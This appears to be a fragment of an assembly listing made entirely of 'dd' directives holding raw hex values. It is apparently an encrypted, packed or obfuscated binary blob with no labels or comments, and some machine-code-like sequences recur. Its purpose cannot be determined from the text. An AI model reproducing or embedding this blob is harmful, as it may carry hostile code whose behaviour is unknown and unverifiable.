		dd 3C4B326h, 11D2A532h,	21E29D40h, 30F18650h, 0CF07EED2h
		dd 0BC16E7A8h, 0BB21F2B3h, 0AA2EFFC0h, 895D0CCDh, 347C21Bh
		dd 16CF5355h, 3540996Ah, 650ACC9Dh, 7205D3A4h, 2EE1F8B1h
		dd 6DDBAF83h, 5AF19A70h, 0D6AA42A5h, 19914868h,	1EB4855Fh
		dd 2689EC51h, 8E8653C1h, 51B85509h, 4BE46990h, 0D304B8C8h
		dd 4B000000h, 0A3086B6Dh, 66B04D2h, 0F19DFB98h,	15C1925Ah
		dd 0C69AFD62h, 0F1958558h, 952D905Ah, 0E8F114C4h, 62C5288Dh
		dd 0E81CBD8Eh, 0F195637Ah, 0EC4FB25Ah, 0CB8C2487h, 0E14F23F7h
		dd 5AF194FCh, 9548B619h, 805AF195h, 0E78C4C1Dh,	1D5A7E4Fh
		dd 1A657849h, 0FC01D82h, 80208E62h, 4D5F197Ah, 3CC29EAh
		dd 0DF2C9A6Eh, 0B659331Bh, 28AE7F53h, 0E9BA8E4Fh, 1FF088F3h
		dd 0FCE14FB7h, 194F1ED2h, 716B53B6h, 0CE1AD0F1h, 0ADC169h
		dd 0CD0E0000h, 0B920F1B2h, 0AB2CFDBEh, 0A73607C8h, 904617D8h
		dd 0E4C826E7h, 0D596D9FDh, 0E0A1CE04h, 0F1B2CD0Fh, 0FABBB820h
		dd 0D409774Bh, 41550346h, 696D04BDh, 99B62795h,	0FC5F5AF1h
		dd 65447D2Fh, 197C359Ch, 26518758h, 6B6DAC65h, 6D2A308h
		dd 9853B071h, 0E2B321F5h, 0AB5F1FCFh, 4F7469D7h, 3EA15503h
		dd 1277DAA6h, 1BDC9741h, 84E98E4Ah, 8513B816h, 8061C870h
		dd 6B2C4791h, 0D4393E9Ah, 369BDA03h, 98FD7865h,	6510C7h
		dd 670CCC9Dh, 0C71A8102h, 13CE35B6h, 0CB9FD404h, 2E93DCFAh
		dd 0A17233CBh, 2FD73C37h, 3, 6DD38C76h,	0CD9E036Eh, 3203680Bh
		dd 9768CDAAh, 0FECF343Bh, 693A9FD8h, 0D4A50A6Dh, 38096E09h
		dd 9E6FD49Fh, 50D73C3Bh, 81E18951h, 4C1h, 4E98300h, 2474FF51h
		dd 48F5904h, 55685C24h,	89000079h, 89512434h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 4F27BD55h, 0E5C1372Fh
		dd 37CD8107h, 81211417h, 2D5176CDh, 4DE5D155h, 0E4F2F581h
		dd 0EE89EA91h, 81242C8Bh, 4C4h,	0C8B5400h, 4C48324h, 24048156h
		dd 6BFC3C25h, 5008418Fh, 0FC3C25B8h, 841296Bh, 2434FF58h
		dd 4C48159h, 0FF000000h, 815E2434h, 4C4h, 0EE4BE900h, 0E997FFFAh
		dd 0BA460DD9h, 5473B870h, 0C50305EEh, 0BB95E0FFh, 20F8270Ah
		dd 80A1488Ch, 0FC80380Ch, 0D56C598Ch, 0A05D6174h, 8ABA46BDh
		dd 82A5471Fh, 0FCF42353h, 5ACF0BB7h, 60262FF1h,	0F2195F1Bh
		dd 6D892245h, 4A7E2926h, 62912032h, 7C306199h, 0D61F077Fh
		dd 70467B43h, 0EFA45173h, 0D47147FDh, 0C529330Fh, 0EDF9123Fh
		dd 15916371h, 0B5F97327h, 6DE96FD5h, 0AFFB54ADh, 10E841C4h
		dd 1F000000h, 0EC0373BBh, 9DA96A20h, 0D05DB4Dh,	6088873Ah
		dd 9AD8BB66h, 6FFE01B9h, 0BB5F6146h, 6042E2E2h,	6EFAC781h
		dd 890F0000h, 5, 6CDD00B9h, 8BD22B70h, 17348BCEh, 81C2B70Fh
		dd 0C1BC88EEh, 0BE963h,	0D1F60000h, 25452B81h, 0F0A41743h
		dd 59F68185h, 66748D88h, 0EE81C38Bh, 401D08ACh,	8156EC8Ah
		dd 7420EBC8h, 17048F6Fh, 8BB8C580h, 1EA83C8h, 0BCE18166h
		dd 4A4A4A57h, 7F0B8EB9h, 0C8FA810Bh, 0FFFFF91h,	2885h
		dd 0AE900h, 0A1E40000h,	4AA4A134h, 0D8053C92h, 24E9h, 0DA409000h
		dd 0E35BB2FEh, 0A98B4AAFh, 0A948819Ch, 466CD383h, 0C6BF0FBBh
		dd 0FFFF78E9h, 7B04CEFFh, 0F98E4699h, 0C18D8D38h, 5605EE56h
		dd 0B5315FF5h, 5E82575h, 159D8D89h, 8D2905E8h, 5E802E5h
		dd 70585C7h, 5DD805E8h,	0B8660000h, 0BD893E27h,	5E81B0Dh
		dd 0A6185C7h, 5E8h, 85290000h, 5E819FDh, 1369B5FFh, 0EB8005E8h
		dd 1595FFB7h, 6A05E808h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0A133C351h,	0B9B533E9h
		dd 6A05E827h, 0F995FF00h, 8B05E820h, 6D4CEBC0h,	4BF21650h
		dd 99CE1E09h, 3F598D53h, 3BB619FDh, 9178C72Bh, 6C63606Ah
		dd 64D570B6h, 28CF16A7h, 50689648h, 1D67495Bh, 97EE631Ah
		dd 0CBCEE0F6h, 9DE7226Ah, 89037E6Bh, 0E812A730h, 0C9F734DFh
		dd 8C310934h, 5E9E7BB3h, 0EB03236Ch, 8,	0ABE20300h, 591E92Ah
		dd 4A680000h, 0E905EE58h, 0FFFA2776h, 0EE58B168h, 276CE905h
		dd 5D68FFFAh, 0E905EE5Ah, 0FFFA2762h, 0FD9E060Bh, 81228A8Bh
		dd 6A7170Fh, 8D2E9294h,	0EAF171Bh, 6ADE8F4Fh, 0E85FD172h
		dd 66E153F4h, 0E167D97Ah, 0AF85CFDh, 0B68EBB6Fh, 0FEE9ABA2h
		dd 896044CCh, 2BC01117h, 4CFB69E6h, 0A3913298h,	0F1C83431h
		dd 0E4D2D8Bh, 0CF5EF9E7h, 7F96E0D5h, 0CB3D2B19h, 258B624Ah
		dd 0B0E5D68Ah, 3BBA33A2h, 864A17F6h, 0E6CA4CBEh, 0B04B2280h
		dd 0A2B12DF8h, 0C0DAA7FFh, 2E8337D2h, 0D73A2B1h, 0D230949Bh
		dd 6AEDA6F4h, 3696A0Fh,	0EE7F0000h, 5F86C538h
		dd 1853D671h, 9D0396E0h, 0F1698823h, 11839F4Fh,	6BD1A814h
		dd 0C7EE2D0Dh, 587F3ED9h, 56A98F6Dh, 0B8119A4Fh, 0BF87E525h
		dd 0D88236D1h, 0C729A2Dh, 6FE1CFA6h, 0C8A806F6h, 86746289h
		dd 2DD837EBh, 5BB91F9Ah, 9F8DD26Dh, 53B99446h, 8B061265h
		dd 0DF08A652h, 2B219381h, 3F36AAABh, 2A90F6CDh,	4DE8D6C4h
		dd 9555AB99h, 1CBD1B81h, 0F640A4AAh, 0EA5CAA45h, 0B8C87C53h
		dd 16000003h, 9608A913h, 1A8C2D9Fh, 9F11B21Ah, 269839A5h
		dd 5A19BA22h, 7D61E982h, 0FFE56ADCh, 856BEC5Eh,	8FC72E4h
		dd 7A150367h, 0A2B68FC6h, 5E01ECAEh, 6F0AF81Fh,	96DEC0EBh
		dd 0D547359Bh, 210F6D51h, 5756BBAFh, 0A5931906h, 57C96AD0h
		dd 7864DFD3h, 0E3A03B12h, 69A2B64Eh, 0FAB5FFE3h, 1CEBE11Dh
		dd 3519145h, 0F47D0000h, 78FD6F10h, 8581F394h, 0C067819h
		dd 858DFFA0h, 1DC18021h, 43E4D850h, 0C5665AD1h,	4BECD053h
		dd 0CE6F53D9h, 2DE17C6Ah, 1DA2B690h, 1F5E705Bh,	3821D570h
		dd 0A3099CC8h, 0EF614F3Dh, 4B9D9976h, 467839E5h, 45A309E0h
		dd 0DFA526AAh, 9A88EE96h, 0EB5D11ACh, 0E74DA2B6h, 0D6C4B289h
		dd 0B6EB873Bh, 0AB096FA2h, 0B6EB5810h, 7A075FA2h, 70A6E230h
		dd 209A60Fh, 0CCBB0000h, 198B6246h, 0D88C2713h,	169CC837h
		dd 6ED4AB11h, 39DA40A6h, 705CD94Bh, 0C0F33212h,	177D5448h
		dd 4470C3B1h, 0F5F14CC0h, 0A5402E8Ch, 96E07776h, 8C27FE64h
		dd 0A2B097D4h, 0D7AE161Ah, 22F9ED65h, 0E747B5B0h, 7F30F28Fh
		dd 2505A27h, 0C60F6A53h, 25h, 0F81F5EDBh, 0C206F0Ah, 0E84E96E0h
		dd 42BE7611h, 6DC5A2B0h, 2489614h, 10C0F6Ah, 1E000001h
		dd 0E442A6ACh, 6246CCF9h, 0E74A9D8Bh, 2D92B1F8h, 0F3888AE2h
		dd 0D837A5A0h, 9C00087Ah, 0E9DD53C5h, 5136A8FBh, 4E212F5Eh
		dd 0A1A719F0h, 27846950h, 0F4B1A161h, 0C4D6294Dh, 0D126799Eh
		dd 0A46B3F81h, 720DAE14h, 9CC85314h, 5D43C83Ah,	49FD9886h
		dd 319CC85Ch, 950765CBh, 30241F9Fh, 0C85BE195h,	0FD63C99Ch
		dd 0B95AC026h, 210178CBh, 709D68Fh, 0DB8AC9A9h,	0C8BC8C40h
		dd 6C50D29Ch, 1672F95h,	0BCC47813h, 4EB49CC8h, 0FE5FFAE8h
		dd 0EA96E315h, 350CF078h, 43A971CFh, 6B6FE355h,	3B2900E4h
		dd 0B25AECA0h, 1076DCA2h, 939709AAh, 0DCB32B1Fh, 9C61076h
		dd 37F7B959h, 1A5AC60h,	20290000h, 0ACA91BBCh, 292D9F40h
		dd 0B0B224C5h, 3139AB4Ch, 0B16D2CCDh, 0EF9074FCh, 7112F67Dh
		dd 0F79804FFh, 7A1B8F85h, 0D98D2816h, 0C1A2B691h, 44CC14FFh
		dd 7ED1BF60h, 79ABC765h, 0C6389665h, 0D0BB5C40h, 0D15646CCh
		dd 3CAE14EBh, 946BD137h, 17B82C22h, 0E3D1F837h,	37A65AF5h
		dd 288E9CC8h, 7CEEDCCAh, 4E3C13F9h, 0C837FFB3h,	1B81E79Ch
		dd 0CB5022BDh, 9E0496E0h, 0D450C2B0h, 0BF176E8h, 0FE70CE34h
		dd 32A4920Ah, 0C96AC83Ch, 2EE69DBh, 84C57914h, 4FB5A2B0h
		dd 849E56F1h, 0F668A2B0h, 0BA2C8A72h, 0C1AF50B4h, 0EE5D94Fh
		dd 84D18520h, 53B9A2B0h, 0FF77BEDh, 4BCB3FB1h, 0B084FCB0h
		dd 2086ECA2h, 6FE95B49h, 0D446AC83h, 31976E52h,	0D11FD3h
		dd 50340000h, 14726ADEh, 0E0CEF534h, 2F06F66Eh,	0E27D6BC9h
		dd 96DEC162h, 83F5CC32h, 678198Dh, 2AC59C00h, 0F4F4D0CEh
		dd 0B99074FCh, 217C30CBh, 66CC774h, 562D9394h, 0D34F328Ah
		dd 0CD3F2D1Bh, 12C66145h, 2C77421h, 50279590h, 0CE2684EAh
		dd 0CED63B3h, 0C675C327h, 0D651C309h, 47AD13EAh, 7F6FE759h
		dd 180E8021h, 42AAAA1Ch, 737BF3A7h, 177DE3C7h, 42BEB729h
		dd 99FFD6CEh, 98F65C33h, 0DDD54FC1h, 0FDE16555h, 835AC026h
		dd 14E0B71Dh, 63D5C5BCh, 0BF25FCE0h, 8579EF61h,	88184497h
		dd 0AC4E029Dh, 0D036C773h, 0F0C2B37Dh, 897FF192h, 0CCA30F09h
		dd 0B18F43DEh, 1177C773h, 0E55745ABh, 3CA2796Dh, 85307DEh
		dd 68000000h, 7864DE50h, 0CC6B561Ah, 16885F45h,	63D5AC10h
		dd 0B325FCE0h, 0FF7148BCh, 4ABC930Bh, 9507DEC6h, 0E6582F93h
		dd 35A77E6Eh, 73F5CC30h, 0D6A68h, 243C8900h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 7B68240Ch, 89000056h
		dd 0B668241Ch, 89000003h, 3FBB241Ch, 8905EE57h,	0B0685BD9h
		dd 89000075h, 4832424h,	515B0424h, 0CC243481h, 8F480D4Ah
		dd 0B9510843h, 8, 3181D901h, 480D4ACCh,	241C8B59h, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 592434FFh, 0E904C483h, 0FFFA21FEh
		dd 98F42096h, 391F49C3h, 3DE5A535h, 0B816544Ch,	5EE5C27h
		dd 0E0FFC503h, 3652D92Ah, 60B0F780h, 3CD8E65Fh,	6A8C38CEh
		dd 2ADCEB08h, 333B84D5h, 443B74ECh, 5B264F32h, 5E9E0C83h
		dd 5DF98D8Dh, 6A05EEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 858BC8C3h, 5E814F5h, 159D8D89h
		dd 0D08005E8h, 0FED78113h, 0C72ECE61h, 0E8070585h, 6AB405h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0BAE98665h, 1515858Bh, 8B6005E8h, 0E802618Dh
		dd 2850F05h, 8B000000h,	85C761F1h, 5E80A61h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1CC35343h
		dd 1377B5B9h, 0CFCF13FAh, 7118509h, 0B5FF05E8h,	5E82269h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h
		dd 7F960953h, 870F1A09h, 5, 1E4C4DBEh, 0D0B70F1Ch, 81595FFh
		dd 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0EEC2E1C3h, 0AED6EEA0h, 4830FD5h,	66000000h
		dd 6A797DBFh, 0F995FF00h, 8B05E820h, 0BC78EBC0h, 0F470AFA9h
		dd 822D09A8h, 66C935Bh,	0AF66549Ch, 61BC75B7h, 8A1EADBBh
		dd 8AD3014Bh, 346D98EEh, 0B7243DCDh, 0E082D050h, 3028879Ah
		dd 0BC0CD60Ch, 0BFD0E3AEh, 0E380FE38h, 0AAA40182h, 92CB96FDh
		dd 14B01EF3h, 0A39163B3h, 0E90F03C4h, 0F91047A1h, 0ABF7369Ah
		dd 96C670F1h, 51D1662Eh, 2FD9EB78h, 663E2CB3h, 76B48FE1h
		dd 0EEF36281h, 63E2A867h, 58E37676h, 0E8B49EB1h, 0Dh, 0B7DF6138h
		dd 7DEBD25h, 7AF155FEh,	0F19D896Ah, 5805E805h, 14C98589h
		dd 0C08105E8h, 698Ch, 1015BD31h, 46BE05E8h, 8100001Ah
		dd 579765CFh, 81188B6Ah, 0C36376F3h, 0C9BD334Bh, 8105E829h
		dd 219A41F3h, 0F9C38138h, 294144A5h, 0E823A9BDh, 0F188905h
		dd 68Ch, 85BD8B00h, 8305E80Ch, 0EE8001E8h, 48484883h, 1EE83F9h
		dd 0FFBF850Fh, 0B589FFFFh, 5E81341h, 5F858D8Dh,	9D2905EEh
		dd 5E80285h, 159D8D89h,	6A05E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 7264DAC3h, 70585C7h
		dd 644005E8h, 0B5890000h, 5E82D21h, 0A6185C7h, 5E8h, 9D310000h
		dd 5E81F39h, 16B1B5FFh,	853105E8h, 5E813B9h, 81595FFh
		dd 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 9200F0C3h, 16A8DBAAh, 59529BAh, 6A05E805h
		dd 0F995FF00h, 8B05E820h, 3259EBC0h, 3E159C7Dh,	0DAEB63ADh
		dd 0C40A36B7h, 30A825C8h, 2504E08Ch, 0A1A17BACh, 6A5E748Fh
		dd 8169C1C7h, 0BECB9293h, 8099DD5Ah, 77D7F634h,	0DD400945h
		dd 8671AB77h, 0BA2C6F3Dh, 1F7DC7Eh, 27477EC7h, 95A3F052h
		dd 0AA5382Ch, 8F8A7A11h, 403A6CC7h, 957F52E4h, 0F83CB7E0h
		dd 60888D8Dh, 952905EEh, 5E809CDh, 159D8D89h, 0BD8905E8h
		dd 5E81FBDh, 70585C7h, 60A005E8h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 14BB22C3h
		dd 0B70F029Ch, 0F9BD31F7h, 0C705E828h, 0E80A6185h, 5, 6840F00h
		dd 29000000h, 0E8204DB5h, 0D1B5FF05h, 5005E808h, 58DE8B66h
		dd 81595FFh, 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 2847A9C3h, 0BD89D9F0h, 5E831A9h
		dd 1AC9BD01h, 6A05E8h, 20F995FFh, 0C08B05E8h, 94061BEBh
		dd 39D8320Bh, 137A00C8h, 0A345114Fh, 3FB57158h,	9C5DC6B9h
		dd 6BC764F5h, 0CE838h, 10500000h, 0B4EEEE48h, 4BC96407h
		dd 0B5238B3Eh, 5E81FB5h, 0D9D895Bh, 8105E82Eh, 695AC3h
		dd 38E0F00h, 80000000h,	0B819D5h, 8B000000h, 0E80AF995h
		dd 1834FF05h, 6850Fh, 0C9810000h, 6F099E34h, 0B9B58B5Fh
		dd 8105E82Fh, 0A5EFE4C7h, 85B58B11h, 8105E80Ch,	9B6D08F7h
		dd 2C17BE50h, 0F781585Fh, 6383CA9Bh, 57F78B66h,	10E9h
		dd 0CD51AC00h, 0E80A0298h, 7CD2AD27h, 0CA7E00ACh, 3048F42h
		dd 0EE960h, 93F40000h, 0BFE94597h, 9055079Bh, 8603ED36h
		dd 6880Fh, 958B0000h, 5E8204Dh,	0CEB70F61h, 88E0E881h
		dd 816620ADh, 8106B5F6h, 0AD88DCC0h, 8B666020h,	0F08166F8h
		dd 8161CA58h, 0FF9770F8h, 66850FFFh, 0F9FFFFFFh, 0AE8h
		dd 2E7F4500h, 2C4153ADh, 80CF7AC4h, 0F58DDC1h, 584h, 0D7816600h
		dd 0C0816756h, 7439h, 0E570BBF9h, 0F3811520h, 1520F996h
		dd 12E9h, 0A1C69500h, 91DEBF06h, 0C7EDB290h, 5D16051Ah
		dd 8BEF93ACh, 0DD958910h, 8105E814h, 0FF1E0EC2h, 29B50102h
		dd 8105E825h, 0A513B0C2h, 0EA81F530h, 5F66D24h,	281B58Bh
		dd 108905E8h, 6604E883h, 0EB81FA8Bh, 1,	15850Fh, 0F8BF0000h
		dd 0E96D2BC2h, 1Eh, 40226D46h, 8597D33Ch, 29F9D8F2h, 0E81BC18Dh
		dd 0FFA5E905h, 22E6FFFFh, 74FD94Bh, 8D8DB819h, 5EE62F7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 63C35040h
		dd 0A3B54DFFh, 0C18B6648h, 89FA8B66h, 0E8159D8Dh, 0B5015705h
		dd 5E81F41h, 585C75Ah, 0E805E807h, 6A000068h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 6D2FC357h, 0B58B99B1h, 5E81059h, 0A6185C7h, 5E8h, 0EA800000h
		dd 0B9B5FF34h, 6A05E823h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 6455C351h, 1BBF6927h
		dd 0FC60CCD1h, 0E4DBD8Bh, 0FF6105E8h, 0E8081595h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0FF006A21h, 0E820F995h, 0EBC08B05h, 0A769BF6Ch, 44A31105h
		dd 0D8BDA7D1h, 9A399A2Ah, 8B392DF6h, 8E48636h, 459FEE9Bh
		dd 47A7CBA1h, 1D651C46h, 5A168880h, 8E87E0C5h, 99C87868h
		dd 0F12EFB45h, 9387ABFDh, 2259E618h, 0C772834h,	7B6012EFh
		dd 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 1B1E0C78h,	31E8E466h
		dd 0AEE76D5Dh, 0EEEFB854h, 0AE781EABh, 475945C7h, 98B16A18h
		dd 18D8DD6h, 2B05EE64h,	0E8257D9Dh, 9D8D8905h, 6A05E815h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0BD4EC350h, 0DDB934B9h, 0DAEB86B8h, 1D958971h
		dd 0C705E816h, 0E8070585h, 65EC05h, 81D18B00h, 6BD8D2DBh
		dd 6185C755h, 5E80Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A6EEC353h,	49B5FFF8h
		dd 5105E828h, 0FFD08166h, 0B8665882h, 95FF0F1Eh, 5E80815h
		dd 6AD18B66h, 0F995FF00h, 8B05E820h, 0DA29EBC0h, 75AF147Ch
		dd 0C3A8DEA4h, 85EA17D9h, 0B0505797h, 89357576h, 0A7F64422h
		dd 59A86408h, 0B359090Ch, 6E8B7196h, 76E494D9h,	65058D8Dh
		dd 6A05EEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 9D8B67C3h, 5E816F5h, 128E0Fh, 0DE90000h
		dd 46000000h, 58A26CEFh, 74682A16h, 5BC362B1h, 159D8D89h
		dd 6A05E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 1D3680C3h, 585C713h, 0A805E807h, 3000073h
		dd 0E81A19B5h, 6185C705h, 5E80Ah, 0E8000000h, 13h, 8A440664h
		dd 0D017DA9h, 153E4D7Eh, 764FC208h, 0F54F80BAh,	0D9B5FF5Bh
		dd 6605E821h, 95FFFE8Bh, 5E80815h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 9FC35242h, 59E41DA1h, 0C8BFA500h
		dd 6A43C414h, 0F995FF00h, 8B05E820h, 53BEBC0h, 0CEC658F2h
		dd 11A689D1h, 0B022FD5Eh, 0CDE4C1C8h, 0D3C6576Dh, 5D297DC1h
		dd 22946FD5h, 40E66161h, 3C2B12D0h, 0B8462BECh,	571AA9E1h
		dd 1A0CB4DDh, 0AFFE015Ch, 0BC95F33Fh, 0BE86881h, 2C000000h
		dd 0E76E71A3h, 64FC3159h, 0BD89C16Ch, 5E805B5h,	58C08158h
		dd 0F00006Fh, 488h, 0A5BF6600h,	1B9BBE3Bh, 8D310000h, 5E82039h
		dd 12E8088Bh, 0E000000h, 0EAD44EA0h, 0CD1565A4h, 1B767E14h
		dd 9D31281Eh, 14E945h, 18A40000h, 220FD621h, 53D1D8DAh
		dd 0D3827505h, 55113F9Dh, 815A167Ah, 15097EE9h,	459D8942h
		dd 8105E816h, 7B3FCCE9h, 19F1814Ch, 8B44E204h, 600889FEh
		dd 12CD9589h, 9D0305E8h, 5E821F1h, 98E88161h, 0E87EF7A9h
		dd 8, 0EB8ABE7Bh, 6B5CA403h, 44C0D281h,	815F47AAh, 0F7A994C0h
		dd 0EE83FC7Eh, 26850F01h, 60000000h, 72D8D8Bh, 0BD2B05E8h
		dd 5E830E9h, 29E961h, 0D00000h,	0EA1C7DB2h, 0F3A9189Ch
		dd 0BCE79B5Fh, 0D788C7FBh, 0E59D8B09h, 0E905E823h, 0FFFFFF48h
		dd 9102493Ch, 0E6535C6Ch, 0E85C9112h, 0Ch, 91507EE6h, 6B980CF2h
		dd 439FBC6Bh, 91852958h, 8105E822h, 7186C0h, 5E900h, 0EA150000h
		dd 2BDC521Bh, 12830FD2h, 0E9000000h, 0Dh, 0F7460024h, 8F13BA3Bh
		dd 0AA7FE1B6h, 234FF46h, 810F59h, 81000000h, 0FE50ECF1h
		dd 798D8913h, 8105E80Dh, 89631EF1h, 7BF1813Ah, 0E94688A8h
		dd 8, 5EFC83C4h, 26FD7A62h, 459D8B51h, 8F05E816h, 860F1004h
		dd 0Dh,	8E9h, 9F7F7C00h, 0FC920A2Ch, 0D5B58BDFh, 8105E806h
		dd 8A915AEAh, 0C281FC62h, 628A9156h, 0F6D8D89h,	0FA8105E8h
		dd 0FFFF8F48h, 0A850Fh,	1FE90000h, 31000000h, 9168AD35h
		dd 0E906EF80h, 0FFFFFF7Dh, 9187C9F8h, 87FC9A7Fh, 8002FEAAh
		dd 7F02F7C7h, 8D8D33C5h, 5EE67A4h, 8E99D29h, 8D8905E8h
		dd 5E8159Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0DBC35343h, 6850Fh, 0B58B0000h,	5E82999h, 70585C7h
		dd 709405E8h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0CB5971C3h, 85C725FFh, 5E80A61h
		dd 0
		dd 48D0Fh, 0BA660000h, 0B5FFD086h, 5E808D1h, 95FFA2B6h
		dd 5E80815h, 22159D8Bh,	6A05E8h, 20F995FFh, 0C08B05E8h
		dd 0FC1B1BEBh, 338CB136h, 0EE9953A5h, 9AD1212Dh, 0F5DFAF9Eh
		dd 0EFC57325h, 0ABEFB35h, 14E8DCh, 27730000h, 0D4DFC88Eh
		dd 48B78CF5h, 2CF0958Fh, 303502C5h, 0B70F5FB3h,	816658D9h
		dd 81C78DD1h, 744DC0h, 2D958900h, 3305E819h, 6E8FFh, 3A7F0000h
		dd 0D0C50A11h, 8B59F88Ah, 0F603814h, 68Bh, 9958900h, 8005E81Ah
		dd 816101C6h, 8C3AB8EAh, 0D9B58B00h, 8105E823h,	6EF594C2h
		dd 0A5B58912h, 8105E819h, 344035F2h, 418D0974h,	8905E810h
		dd 2FB93814h, 2945B26Ch, 0E81B45B5h, 3EF8305h, 8E9h, 65D24C00h
		dd 0CC7D62B3h, 95894F26h, 5E80939h, 8C54FF81h, 850FFFFFh
		dd 0FFFFFF97h, 0E8D8B70Fh, 12h,	4EC71121h, 70E7DF51h, 0B69EE33Ch
		dd 0DC80B1E2h, 8B668FD1h, 0B58B59C6h, 5E82215h,	6B67C181h
		dd 858B0000h, 5E8152Dh,	1ABD68h, 89BD8900h, 5A05E810h
		dd 0B58931FFh, 5E80651h, 3890F5Bh, 80000000h, 0F38129F0h
		dd 145B8464h, 0DA3FEB81h, 0B70F0B12h, 5EF381C7h, 895283C8h
		dd 0F18B6619h, 0B04E983h, 0E8245DB5h, 1EA8305h,	0FFC2850Fh
		dd 0F4B8FFFFh, 420834BDh, 6A234ACh, 7AA27C24h, 6B3BB37Dh
		dd 2183D83Ch, 9083B42Ah, 0DD6F3025h, 0A7863025h, 0FA846D98h
		dd 8D893020h, 848630ADh, 615B8DA6h, 2E8635CDh, 90864BA1h
		dd 5D03F625h, 6A83D805h, 128634CDh, 4B517025h, 0C00D608Dh
		dd 420D3401h, 25A274ACh, 0CD33CF7Dh, 0C583D827h, 0CFFD00A0h
		dd 9956CF20h, 1C03F6D5h, 0CA83D805h, 0FE1074Dh,	5B2B1B8h
		dd 0A5898052h, 6B5B85DAh, 0A10B35CDh, 176D4B15h, 0F10DE0DAh
		dd 8486209Ch, 428ED925h, 2E203025h, 90863EA0h, 818D7925h
		dd 0DB76B52Ah, 1F6FCFDAh, 84863025h, 6CCB5AB8h,	42838820h
		dd 0C2793025h, 0F86C8DA8h, 0C50B35CBh, 21685994h, 22A3229Dh
		dd 42491BA3h, 6A234ACh,	7AA27C24h, 6B3BB37Dh, 2183D83Ch
		dd 9083B42Ah, 0DD6F3025h, 0A7863025h, 0E9836D98h, 0B9A4F305h
		dd 22h,	0AE8h, 0E99F6200h, 0EBA7DF11h, 0F92F796Eh, 5E95Eh
		dd 0F2D00000h, 81A8F2B5h, 67E1C6h, 0D08B6600h, 0BFh, 8BA0B200h
		dd 7E83E1Ch, 0A0000000h, 5D9F3672h, 0B589B9BBh,	5E81F45h
		dd 13EB8159h, 317EE8F5h, 0E82E79BDh, 52F38105h,	806E74C0h
		dd 0F381DCC2h, 5B2B8B64h, 0C0CABA66h, 0C78B6653h, 313E048Fh
		dd 0E80811B5h, 0AE805h,	0CFAB0000h, 22AD77h, 0B31CF4D4h
		dd 5975E080h, 0CC58EF81h, 8D8B50C9h, 5E81115h, 0CC54C781h
		dd 958B50C9h, 5E80F49h,	98E4FF81h, 850FFFFFh, 13h, 21F98589h
		dd 1FE905E8h, 0DF000000h, 20EAB8A9h, 0F7882F8h,	68Eh, 91952900h
		dd 0E905E820h, 0FFFFFF63h, 5386AF4Fh, 8D8D5AF0h, 5EE6B8Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9DC35242h
		dd 25025569h, 0FC7F25Ah, 58Ch, 0D6816600h, 8D0FAE12h, 6
		dd 6BDBD0Bh, 8D8905E8h,	5E8159Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 8C35141h, 335417B3h, 88F76D6Dh
		dd 0D85BD09h, 85C705E8h, 5E80705h, 66D4h, 6E9h,	0A8EE9A00h
		dd 0C7C837B3h, 0E80A6185h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0BAF6A1h, 69B5FF7Ch
		dd 8905E813h, 0E829D98Dh, 1595FF05h, 6A05E808h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 536C353h, 6A1E267Ah,	0F995FF00h, 8B05E820h, 304CEBC0h
		dd 39D4F350h, 8326690Ch, 98DFDC66h, 7C1F66C4h, 0AECEADEBh
		dd 874F59BDh, 0D9A354C7h, 0D857EFB7h, 0FD047864h, 5F634140h
		dd 26A6044Bh, 39180C72h, 0AA6988h, 0F79F508Ch, 4CCCE34Ah
		dd 0E2279755h, 0FDD3E278h, 4A1289C5h, 0EB48FE30h, 40797F04h
		dd 825E97Ah, 0BCB50000h, 3035A748h, 0BDB92BCCh,	0C43EB051h
		dd 4DC537D8h, 25F9B859h, 7B1C8088h, 0FD9E0209h,	8324888Bh
		dd 6A71B11h, 6519B4A2h,	55A2B6A3h, 0ECA3A893h, 309CC837h
		dd 4525C63Ah, 7FF1DF06h, 0D83E1589h, 0B2F18C7Ah, 0E096E035h
		dd 96B5468Dh, 49AF077Eh, 94080072h, 0CBB205F3h,	0B096458Bh
